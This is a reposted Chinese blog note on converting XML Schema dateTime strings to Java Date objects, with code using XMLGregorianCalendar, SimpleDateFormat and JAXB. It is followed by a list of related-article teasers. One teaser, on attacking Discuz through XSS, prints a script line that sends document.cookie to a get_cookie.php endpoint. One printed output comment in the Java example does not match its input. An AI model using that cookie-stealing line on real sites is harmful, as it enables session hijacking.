java xml date_W3C XML 模式時間數據類型與java Date進行轉換

W3C XML 模式時間數據格式:

"2014-11-17T 09:40:25" 或者 “2014-11-17T 09:40:25+08:00”

要想把以上格式的時間轉換為能被java所使用個格式有以下3種辦法:

(1)、jdk中有這么一個類XMLGregorianCalendar,使用XMLGregorianCalendar類中的toGreGregorianCalendar().getTimeInMillis()方法,返回TimesTamp對象。

0818b9ca8b590ca3270a3433284dd417.png

用法:

Timestamp timestamp = new Timestamp(xmlDate.toGregorianCalendar().getTimeInMillis());

拿到了Timestamp 對象,大家應該都知道怎么做了吧!可以用SimpleDateFormat()?想要轉成啥樣都行。不

過,SimpleDateFormat() 也正是我要說的第二種方法。

注釋:XMLGregorianCalendar類是jdk1.5之后才有的類,但在jdk api的官方文檔中未提及此類,可以在其他官方文檔中看到粗略的說明,不保證在下一版本的jdk中會保留此類。

(2)、SimpleDateFormat()

SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSS'Z'", Locale.CHINESE);

format.setTimeZone(TimeZone.getTimeZone("GMT"));//"GMT":格林尼治時間, "UTC":世界統一時間

Date parse = format.parse("2014-11-12T22:00:44.0000000Z");

//.0000000Z未標明時區,即默認是GMT的時間,在打印的時候按照咱們東八區,則是第二天的6點.

System.out.println("parse: " + parse);

SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss.SSSZ");

sdf.setTimeZone(TimeZone.getTimeZone("GMT"));

Date d2 = sdf.parse("2014-11-05T22:30:56.183+0800");

System.out.println("d2: "+d2); // output Wed Sep 17 12:00:44 IST 2014

System.out.println(sdf.format(d2));

sdf.setTimeZone(TimeZone.getDefault());

System.out.println(sdf.format(d2));

注意:用System,out.prientln()打印Date的時候是按你本地時區時間來顯示

有人就會說了,既然可以直接用SimpleDateFormat()來轉,為嘛要采用第一種呢,問題就在這兒,因為schame中的時間可能帶時區,也可能不帶時區,可是你要知道在你使用new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss"); 的時候,你的模板格式是固定的。你如何知道對方傳來的是帶時區的還是不帶時區的呢?所以這種方式是存在很大的風險的,但只要時間模式能固定,該方法還是可行的。不然,你要是不嫌麻煩,可以一個字符一個字符的去判斷和解析,主要判斷ss后面有沒有跟毫秒,毫秒后面有沒有跟時區。

(3)、使用JAXB,jaxb可以將xml轉換為java對象,其內部機制能直接轉為你要的Date,只要你的對象中定義的時間屬性是DateTime類型即可。

希望我做的這些筆記能幫助大家盡快解決問題少走一些彎路!

xml中的時間轉換為Date類型:

javax.xml.bind.DatatypeConverter.parseDateTime(reqTime).getTime() ?//?reqTime是從Node中獲得的String類型時間

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/533210.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/533210.shtml
英文地址,請注明出處:http://en.pswp.cn/news/533210.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

PHP stomp 連接判斷,php實現通過stomp協議連接ActiveMQ操作示例

本文實例講述了php實現通過stomp協議連接ActiveMQ操作。分享給大家供大家參考,具體如下:前面介紹了php ActiveMQ的安裝與使用,這里再來講述一下php通過stomp協議連接ActiveMQ。一、安裝php的stomp擴展http://pecl.php.net/package/stomp如&am…

authinfo.php,【nginxphp】后臺權限認證方式

一、最常用的方法(代碼中限制)1、如何限制IPfunction get_new_ip(){if(getenv(HTTP_CLIENT_IP)) {$onlineip getenv(HTTP_CLIENT_IP);} elseif(getenv(HTTP_X_FORWARDED_FOR)) {$onlineip getenv(HTTP_X_FORWARDED_FOR);} elseif(getenv(REMOTE_ADDR)) {$onlineip getenv(RE…

php數組無限文類,php把無限級分類生成數組的類

你是否遇到需要把無限級分類循環出來,是不是很頭痛。比如,要循環出一個SELECT,或一個TABLE,要寫一大堆判斷。我的做法是生成數組,可以重復調用,直接循環數組就行了。為了方便,把它寫成了類:clas…

php sql取數據生成數組中,php中實現數組生成要執行的sql語句

本篇文章主要介紹php中實現數組生成要執行的sql語句,感興趣的朋友參考下,希望對大家有所幫助。會不會碰到這樣一種情況呢?每次獲取數據將數據和歷史版本都有一定的差別,然而用ThinkPHP的addAll()函數,卻會將已有的數據…

xss漏洞php注射實戰,利用XSS滲透DISCUZ 6.1.0實戰

論壇——>入侵者布置的跨站攻擊——>轉移被入侵這視線(隱蔽)論壇插入腳本:var img new Image();img.src get_cookie.php?var encodeURI(document.cookie);但是我不一樣,因為他需要誘導人去點擊他的鏈接,但是現在人不是傻子&#xf…

java模塊化按需加載,JavaScript模塊化之使用requireJS按需加載

模塊加載器的概念可能稍微接觸過前端開發的童鞋都不會陌生,通過模塊加載器可以有效的解決這些問題:JS文件的依賴關系。通過異步加載優化script標簽引起的阻塞問題可以簡單的以文件為單位將功能模塊化并實現復用主流的JS模塊加載器有requireJS&#xff0c…

宇軒網絡面試題目PHP,二十道接地氣的php面試題,讓你直接通過面試!就此奉上~...

1、echo count(“abc”); 輸出什么?答:"1"count— 計算數組中的單元數目或對象中的屬性個數int count ( mixed var\[,intvar \[, intvar\[,intmode ] ), 如果 var 不是數組類型或者實現了 Countable 接口的對象,將返回 1&#xff0…

java期末試題c卷,JAVA程序設計期末考試試卷及參考答案

《JAVA程序設計》期末考試試卷考生注意:1.本試卷滿分100分。2.考試時間90分鐘。3.卷面整潔,字跡工整。4.填寫內容不得超出密封線。總分題號一二三四五六核分人題分21204019復查人得分一、單選擇題(每題2分&…

mysql 分組查詢原理,MySQL分組查詢Group By實現原理詳解

由於GROUP BY 實際上也同樣會進行排序操作,而且與ORDER BY 相比,GROUP BY 主要只是多了排序之后的分組操作。當然,如果在分組的時候還使用了其他的一些聚合函數,那么還需要一些聚合函數的計算。所以,在GROUP BY 的實現…

mysql 執行計劃詳解,Mysql中的explain執行計劃詳解(1)

創建一個表test_explain,并添加入下的數據mysql> create table test_explain( a int primary key, b int);Query OK, 0 rows affected (0.09 sec)mysql> insert into test_explain value(1,1),(2,2),(3,3),(4,4),(5,5);explian中的type字段:表示m…

mac php命令行模式,phpstorm分別在Mac和Windows下啟動命令行,并啟用ssh

Mac:在terminal下運行 sudo -i 輸入密碼 就可以用ssh IP:端口 命令行登錄了DAssist是一個命令行開發輔助,可直接在系統命令行工具中使用,Linux和MacOS等自帶命令終端的系統好說,windows下也有cmd和powerShell。那么如何結合開發IDE工具進行…

matlab 價格統計,matlab中的金融數據統計

1.均勻分布隨機數生成函數unidrnd(N,m,n)N生成1到N之間的一個隨機數,確定輸出矩陣m行,n列。2.生成連續均勻分布的隨機數unifrnd(A,B,m,n)A,B表示上下界。3.生成正態分布隨機數normrnd(mu,sigma,m,n)mu均值,…

php訪問js文件不存在,php文件里js不能被執行

我想把上傳文件路徑返回到前端保存&#xff0c;但是后臺php文件里的js沒有執行&#xff0c;前臺input標簽里的value值一直為空后臺acceptfile.php代碼如下:<?php if(!isset($_REQUEST[filename])){exit(No file);}else{$upload_path dirname(__FILE__)./audio;date_defaul…

php 零寬斷言,正則表達式之零寬斷言實例詳解【基于PHP】

這篇文章主要介紹了正則表達式之零寬斷言,簡單介紹了零寬斷言的概念、分類及php實現技巧與相關注意事項,需要的朋友可以參考下本文實例講述了正則表達式之零寬斷言。分享給大家供大家參考&#xff0c;具體如下&#xff1a;前言之前我曾寫了一篇關于正則表達式的文章(//www.jb51…

python 邏輯回歸準確率是1,Python利用邏輯回歸模型解決MNIST手寫數字識別問題詳解...

本文實例講述了Python利用邏輯回歸模型解決MNIST手寫數字識別問題。分享給大家供大家參考&#xff0c;具體如下&#xff1a;1、MNIST手寫識別問題MNIST手寫數字識別問題&#xff1a;輸入黑白的手寫阿拉伯數字&#xff0c;通過機器學習判斷輸入的是幾。可以通過TensorFLow下載MN…

php面試題接口方面,php面試題6 - osc_xb4v1nhl的個人空間 - OSCHINA - 中文開源技術交流社區...

php面試題6一、總結二、php面試題6寫出你認為語言中的高級函數:1)preg_replace()2)preg_match()3) ignore_user_abort()4) debug_backtrace()5) date_default_timezone_set(“PRC”)6) get_class_methods() 得到類的方法名的數組7) preg_split() 字符串分割成數組8)json_encode…

軌道車輛垂向振動Matlab建模與仿真,基于matlab/simulink的車輛建模與故障分析

隨著鐵路行業高速發展,列車運行速度逐漸提高,鐵路安全越來越受到人們的重視,如何保證鐵道車輛運行安全及其故障監測成為一個亟待解決的重大課題。客車車輛在結構上的故障主要有一系彈簧斷裂、減振器失效、空氣彈簧漏氣、高圓彈簧斷裂、車輪踏面擦傷、軸承故障以及蛇形減震器故障…

關于php的問題有哪些,關于PHP的報錯問題?

關于這個報錯的表格我不知到怎么去做&#xff0c;下面的是代碼&#xff1a;header(content-type:text/html;charsetutf-8);session_start();include_once ../include/conf.php;include_once ../include/func.php;include_once ../include/mysql.func.php;check_login();$pageSi…

oracle消耗內存的查詢,在AIX中計算ORACLE消耗的私有內存總數

一早就收到兄弟伙發的QQ信息&#xff0c;關于aix中oracle內存計算的內容The RSS number is equal to the sum of the number of working-segment pages in memory times 4 andthe code-segment pages in memory times 4.The TRS number is equal to just the code-segment page…

php讀取ds18b20,DS18B20_單總線協議

.H文件#ifndef _ONEWIRE_H#define _ONEWIRE_H#include "STC15F2K60S2.H"#include #define OW_SKIP_ROM 0xcc#define DS18B20_CONVERT 0x44#define DS18B20_READ 0xbe//IC引腳定義sbit DQ P1^4;//函數聲明extern void Delay_OneWire(unsigned int t);extern void Wri…